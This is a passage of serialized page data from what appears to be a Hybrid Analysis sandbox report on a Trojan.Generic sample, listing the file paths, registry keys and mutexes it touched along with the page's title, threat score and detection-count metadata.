Mail\\account{D71DE24B-BE28-45C4-B4BE-E99C363FDE00}.oeaccount","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"path":"%USERPROFILE%\\Contacts","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"path":"%USERPROFILE%\\Contacts\\%OSUSER%.contact","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"path":"%WINDIR%\\System32\\msxml6r.dll","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKCU\\SOFTWARE\\APPDATALOW\\SOFTWARE\\MICROSOFT\\3AA922FE-51A7-7CB8-AB0E-15700F2219A4\\","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"key":"HKCU\\","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"key":"HKCU\\SOFTWARE\\","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"key":"HKCU\\SOFTWARE\\APPDATALOW\\","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"key":"HKCU\\SOFTWARE\\APPDATALOW\\SOFTWARE\\","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"key":"HKCU\\SOFTWARE\\APPDATALOW\\SOFTWARE\\MICROSOFT\\","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"key":"HKLM\\SYSTEM\\CURRENTCONTROLSET\\CONTROL\\SESSION MANAGER\\","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\{79FF8BE4-8422-134C-56BD-F8F7EA41AC1B}","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\{FBEB3D9D-1EF1-E525-005F-32E93403862D}","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\{11A1469B-3CE7-6B99-CED5-30CFE2D96473}","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"name":"Local\\{79FF8BE4-8422-134C-56BD-F8F7EA41AC1B}","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"name":"Local\\{11A1469B-3CE7-6B99-CED5-30CFE2D96473}","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"name":"Local\\{FBEB3D9D-1EF1-E525-005F-32E93403862D}","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"name":"{F281358C-A9F8-F4E9-C346-ED68A7DA711C}","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\{F281358C-A9F8-F4E9-C346-ED68A7DA711C}","sources":[{"report_type":"sandbox","report_id":"5af55ae07ca3e1645b692812"}]}]}},"report_ids":{"sandbox_job_ids":["5af55ae07ca3e1645b692812"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious Trojan.Generic Sample f79de63b1432… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample f79de63b1432…. Malware family: Trojan.Generic. Threat score 100/100. 19/28 AV engines flagged this file. 8 malicious and 18 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/f79de63b1432a95be3002d787bc7cbb3f530a55bc3d27ab3361736b2cfa89d5c"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan.Generic Sample f79de63b1432… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample f79de63b1432…. Malware family: Trojan.Generic. Threat score 100/100. 19/28 AV engines flagged this file. 8 malicious and 18 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/f79de63b1432a95be3002d787bc7cbb3f530a55bc3d27ab3361736b2cfa89d5c"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan.Generic Sample f79de63b1432… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample f79de63b1432…. Malware family: Trojan.Generic. Threat score 100/100. 19/28 AV engines flagged this file. 8 malicious and 18 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L2a","11",{}]]